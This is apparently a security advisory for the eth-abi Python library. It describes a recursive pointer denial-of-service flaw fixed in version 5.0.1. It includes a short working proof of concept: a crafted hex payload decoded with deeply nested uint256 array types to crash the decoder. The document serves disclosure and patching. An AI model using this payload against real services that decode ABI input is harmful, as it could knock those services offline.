GHSA-3qwc-47jf-5rf7Medium▾ Sunliteth-abi is vulnerable to recursive DoS
▾ Sunlit zone — Low / medium · no exploitation signal
impact 27.5 · likelihood 0 · exploitation 0
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Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))
eth-abi < 5.0.1Upgrade to a patched release:
eth-abi 5.0.1